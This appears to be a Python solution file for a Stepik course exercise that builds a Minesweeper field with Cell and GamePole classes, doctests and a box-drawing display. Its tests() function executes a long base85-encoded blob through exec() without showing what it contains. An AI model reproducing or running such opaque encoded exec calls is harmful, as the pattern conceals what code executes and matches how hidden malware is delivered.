py_stepik/mod_oop/3.7_10_minesweeper.py

288 lines
18 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
https://stepik.org/lesson/701992/step/10?unit=702093
Вы начинаете разрабатывать игру "Сапер". Для этого вам нужно уметь представлять и управлять игровым полем. Будем полагать, что оно имеет размеры N x M клеток. Каждая клетка будет представлена объектом класса Cell и содержать либо число мин вокруг этой клетки, либо саму мину.
Для начала в программе объявите класс GamePole, который будет создавать и управлять игровым полем. Объект этого класса должен формироваться командой:
pole = GamePole(N, M, total_mines)
>>> SingletonMeta._instances = {}
>>> N, M, total_mines = 10, 10, 10
>>> pole = GamePole(N, M, total_mines)
И, так как поле в игре одно, то нужно контролировать создание только одного объекта класса GamePole (используйте паттерн Singleton, о котором мы с вами говорили, когда рассматривали магический метод __new__()).
Объект pole должен иметь локальный приватный атрибут:
__pole_cells - двумерный (вложенный) кортеж, размерами N x M элементов (N строк и M столбцов), состоящий из объектов класса Cell.
>>> hasattr(pole, "_GamePole__pole_cells")
True
Для доступа к этой коллекции объявите в классе GamePole объект-свойство (property):
pole - только для чтения (получения) ссылки на коллекцию __pole_cells.
>>> type(GamePole.pole).__name__
'property'
Далее, в самом классе GamePole объявите следующие методы:
init_pole() - для инициализации начального состояния игрового поля (расставляет мины и делает все клетки закрытыми);
open_cell(i, j) - открывает ячейку с индексами (i, j); нумерация индексов начинается с нуля; метод меняет значение атрибута __is_open объекта Cell в ячейке (i, j) на True;
show_pole() - отображает игровое поле в консоли (как именно сделать - на ваше усмотрение, этот метод - домашнее задание).
>>> hasattr(GamePole, "init_pole"), hasattr(GamePole, "open_cell"), hasattr(GamePole, "show_pole")
(True, True, True)
Расстановку мин выполняйте случайным образом по игровому полю (для этого удобно воспользоваться функцией randint модуля random). После расстановки всех total_mines мин, вычислите их количество вокруг остальных клеток (где нет мин). Область охвата - соседние (прилегающие) клетки (8 штук).
В методе open_cell() необходимо проверять корректность индексов (i, j). Если индексы указаны некорректно, то генерируется исключение командой:
raise IndexError('некорректные индексы i, j клетки игрового поля')
Следующий класс Cell описывает состояние одной ячейки игрового поля. Объекты этого класса создаются командой:
>>> cell = Cell()
При этом в самом объекте создаются следующие локальные приватные свойства:
__is_mine - булево значение True/False; True - в клетке находится мина, False - мина отсутствует;
__number - число мин вокруг клетки (целое число от 0 до 8);
__is_open - флаг того, открыта клетка или закрыта: True - открыта; False - закрыта.
Для работы с этими приватными атрибутами объявите в классе Cell следующие объекты-свойства с именами:
is_mine - для записи и чтения информации из атрибута __is_mine;
number - для записи и чтения информации из атрибута __number;
is_open - для записи и чтения информации из атрибута __is_open.
>>> hasattr(cell, "is_mine"), hasattr(cell, "number"), hasattr(cell, "is_open")
(True, True, True)
В этих свойствах необходимо выполнять проверку на корректность переданных значений (либо булево значение True/False, либо целое число от 0 до 8). Если передаваемое значение некорректно, то генерировать исключение командой:
raise ValueError("недопустимое значение атрибута")
С объектами класса Cell должна работать функция:
>>> bool(cell)
True
которая возвращает True, если клетка закрыта и False - если открыта.
Пример использования классов (эти строчки в программе писать не нужно):
>>> SingletonMeta._instances = {}
>>> random.seed(5)
>>> pole = GamePole(10, 20, 10) # создается поле размерами 10x20 с общим числом мин 10
>>> pole.init_pole()
>>> if pole.pole[0][1]:
... pole.open_cell(0, 1)
>>> if pole.pole[3][5]:
... pole.open_cell(3, 5)
>>> pole.open_cell(30, 100) # генерируется исключение IndexError
Traceback (most recent call last):
...
IndexError: Недопустимый индекс
>>> pole.show_pole()
╭───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───╮
│ ▧ │ ✸ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ① │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
╰───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───╯
P.S. В программе на экран выводить ничего не нужно, только объявить классы.
"""
import random
from typing import Dict, Final, List, Tuple
class SingletonMeta(type):
_instances: Dict[type, type] = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(SingletonMeta, cls).__call__(*args, **kwargs)
return cls._instances[cls]
def make_properties(*names):
def decorator(cls):
def prop(private_name: str):
def getter(self):
return getattr(self, private_name)
def setter(self, value):
return setattr(self, private_name, value)
return getter, setter
for name in names:
setattr(cls, name, property(*prop(f"_{cls.__name__}__{name}")))
return cls
return decorator
@make_properties("number", "is_mine", "is_open")
class Cell:
CHARS: Final[str] = "▧✸▢①②③④⑤⑥⑦⑧"
def __init__(self, number: int = 0, is_mine: bool = False, is_open: bool = False):
self.__number, self.__is_mine, self.__is_open = number, is_mine, is_open
def __bool__(self):
return not self.is_open
def __repr__(self):
return f"{self.__class__.__name__}{(self.number, self.is_mine, self.is_open)!r}"
def __str__(self):
return self.CHARS[not self and (self.is_mine or self.number + 2)]
def __setattr__(self, name: str, value) -> None:
if name == "number":
if not isinstance(value, int) or not 0 <= value <= 8:
raise ValueError("Недопустимое значение атрибута")
if name in ("is_mine", "is_open"):
if not isinstance(value, bool):
raise ValueError("Недопустимое значение атрибута")
return super().__setattr__(name, value)
class GamePole(metaclass=SingletonMeta):
around_offsets: Final[Tuple[Tuple[int, int], ...]] = tuple(
(dx, dy) for dx in range(-1, 2) for dy in range(-1, 2) if (dx, dy) != (0, 0)
)
def __init__(self, N: int, M: int, total_mines: int, pole=None):
self.N, self.M, self.total_mines = N, M, total_mines
if pole:
self.__pole_cells = pole
else:
self.init_pole()
@property
def pole(self) -> List[List[Cell]]:
return self.__pole_cells
def __repr__(self):
return f"{self.__class__.__name__}{(self.N, self.M, self.total_mines, self.pole)!r}"
def init_pole(self):
gen = iter(range(1, self.total_mines + 1))
flat_pole = [
Cell(0, bool(next(gen, 0))) for _ in range(self.N) for _ in range(self.M)
]
random.shuffle(flat_pole)
self.__pole_cells = [
flat_pole[i : i + self.M] for i in range(0, self.N * self.M, self.M)
]
self.fill_around()
def fill_around(self):
for i in range(self.N):
for j in range(self.M):
self.pole[i][j].number = self.count_around(i, j)
def count_around(self, x: int, y: int) -> int:
return sum(
(
self.pole[x + i][y + j].is_mine
for i, j in GamePole.around_offsets
if 0 <= x + i < self.N and 0 <= y + j < self.M
)
)
def cell(self, i: int, j: int) -> Cell:
try:
return self.pole[i][j]
except IndexError as e:
raise IndexError("Недопустимый индекс") from e
def open_cell(self, i: int, j: int):
cell = self.cell(i, j)
cell.is_open = True
def open(self):
for i in range(self.N):
for j in range(self.M):
self.open_cell(i, j)
def open_random(self, count: int):
for _ in range(count):
i, j = random.randint(0, self.N - 1), random.randint(0, self.M - 1)
self.open_cell(i, j)
def __str__(self):
c = self.M - 1
result = (
f"╭─{'──┬─' * c}──╮\n"
+ f"├─{'──┼─' * c}──┤\n".join(
map(lambda row: f"{''.join(map(str, row))}\n", self.pole)
)
+ f"╰─{'──┴─' * c}──╯"
)
return result
def show_pole(self):
print(self)
pole_game = GamePole(10, 8, 12)
pole_game.open_random(30)
pole_game.show_pole()
pole_game.open()
pole_game.show_pole()
def tests():
SingletonMeta._instances = {}
random.seed()
code = (
b"a4{e~AV*<sWl(QyWhgN)EFdy4EFdv3DGG2hAUz;QVQpnlZ){~KF)%D3GB7M4F)%3#VRLh3a&#b"
+ b"RWGHYkDIh&PAZcVMa55<@AR^I$(7w>O(6rF7(6!Nm(SgyAAke+gwb6mly3oGRyU~o$y3oEL(7w>I"
+ b"(TdQu(7Mrr(7w>JAkezdyU?)Ffzg4`upmcaZDmkzY-J(}a3DP(a4`xBV`Xe?AUz;MWo&FHDGFh8b"
+ b"7gXLAar?fWhg^sY-}!Rb6;&~Ze=MTJv|_Ba&K^Da&&nhVQyp~ba`-PC_`mzY%XqfZDM6|DIh&PAa"
+ b"HVTaAk6Ic_3kKWFT~TaAhb%Wo&FNX>(t1aAj^OAU!=GaB^>OWpZ?REFdD#vLMj9(7VvE(Sgx{(6t"
+ b"~#Wo&F9(6rFL(7VvK(7n-%AkeYVi_wD7j3Cgy(6P~q(6!LI(Sp&7EzyC{ve3TJxzT~qg3z+iupnu"
+ b"3Uu|h_Wh@|Wb!}p0ax5Teb6;<8Wo{x03S(t#Y%XbYUu|h_WgtBuRC0A?3S(t#Y%XqfZDM6|AUz;8"
+ b"3S(t#Y%XbYUvF?_ZXi7%RC0A?3So0|WpZ>NVsCG3C}U-8Y$+f;Js?J5Y;$ESAR^I((Sy*v(7Mrv("
+ b"74f$AYyNCY$z!p(6Z3A(SXps(Sy*t(6AuTz0kGLve32BfY80rzR<NG(6`XN(6G^m(6!LL(74dGA_"
+ b"@w0a(OxmARr(hV`Xe?E@^XLZE0?0AUz;4FbZXOV`Xr3AXZ^)b!A0za&K}v3LqdLAYpTJWpZ>NRC0"
+ b"A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`i"
+ b"vj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~|VQh6}MRIa)av}-}ARr(h3UqRLItm~lARuF9Y-}!Wb!}p0"
+ b"av(h*F)#{ccw=R7bRbq?Y;|Qta&m8SItm~lARu9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@V"
+ b"Qh0{EFdD#z0kEF(Sgvj(6!LL(6!Nk(74fn(7w>J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLxX"
+ b"`sAR$**)WkqswZ*n3E3UDrIZfSI1aBpm7C@BhUAUz;33TAI|AaZYaAZczOa4v9fY-KtMARr(hW^Z"
+ b"yJcpzzRAaZYaItm~lARr(hARu9Lb7gXLAZc@HZgX^DZewLAcq|}8Wo&FIEFdD#y3o7Owb6pmy3nx"
+ b"DywJEH(74dE(SXpt(6Z3J(6i9KAke?izR<hTk08*r(7w>S(6-RM(TgC^vC)gsg3*j1(7w>I(TdQu"
+ b"(7Mrr(TgC^y3o7Ou+f3hfzYrZLuG7iA_^cNARr(hARuXGAb2imb6;&~Ze=<OARr(hARr(hARr(hZ"
+ b"6GT>ATbIGVRLh3a&#bVAU!=GF)%D3BGA3iuprRC(7w>S(6u1ZfY7kffzg4{g3z$gve3KGwa~rLz9"
+ b"7)O(6!LA(6!Nk(7n*U(6u1Yy3oGRyU@7NhtRdrfzg7{ve3RD(7e#N(7hrGa4v6fWo}<%Wo&FHFf1"
+ b"T3DGG2dZ*XO9Ut?u#Y$!P_ATc>93JP>`c{&OpARr)cE^lyUZeL?%Y-}hoFf1T4FewUUcw=R7bRbD"
+ b"?WMz0oa&m8SItm~lARu9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@VQh0{EFdD#z0kEF(Sgvj"
+ b"(6!LL(6!Nk(74fn(7w>J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLxX`sANp56ictvt@Z*n3E3"
+ b"JPRpW*}p4b#8QDZE0?0b0~0cY-KDUX)GXWDLM)uARr)aAUz;33LqdLAZBlJAZs9LZXj}DZf9jEEi"
+ b"o)0GATL=ARr(hARr(hW^ZyJY#?cFAaY@DXJsfYF)Sc5DLM)uARr(hARr(hARr)VX)GXWY9KuzYb$"
+ b"9iAZ#mY3LqdLARr(hARr(hAZcbGX=xxlATS_rav*7GAU+^DAa8OYYHA=nATS_rav*AIAU+^5IXVg"
+ b";ARr(hARr(hARr(hARr)PZ*FvHZgph}ARr(hARr(hARr(hX=WgBZ){~-X=z<sYHD3BX>(s~X>MgY"
+ b"3LqdLARr(hARr(hARr(hAZ{QlJs>d(ARr(hARr(hARr(hARr(h3LqdLAaZ4Nb#iVXZVCztW^ZyJX"
+ b")GXeZ+9SRZXjiDb!}yGVRU6Ea4v9fY-K4r3LqdLAZBlJAZjcicpzzRAZ2cKZDn#{bY&=VZ+9s=3L"
+ b"qdLARr(hAZcbGZf|rTa4v9fY-L+%U0Z5hE@^XLZE0?0Itm~lARr(hARr(hARuiZJs@Lmb#8QDZE0"
+ b"?0b0}~waBpm7EFfttAZjTJARr(hARr(hARr(hVRLh3a&#bVAU!=Ga4v9fY-L+%U0Z5hE^c*gVr6n"
+ b"HAR^Gc(6!LA(6!Nk(7n*UAke?izR<MMfzgN1xY2^pu+Y8Gz97+u(74fo(7VvSAke(fxX`^I(6Z3J"
+ b"(7Mrp(Sy*lAkezdyU?}Kg3!9qxFP"
)
exec(__import__("base64").b85decode(code))
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()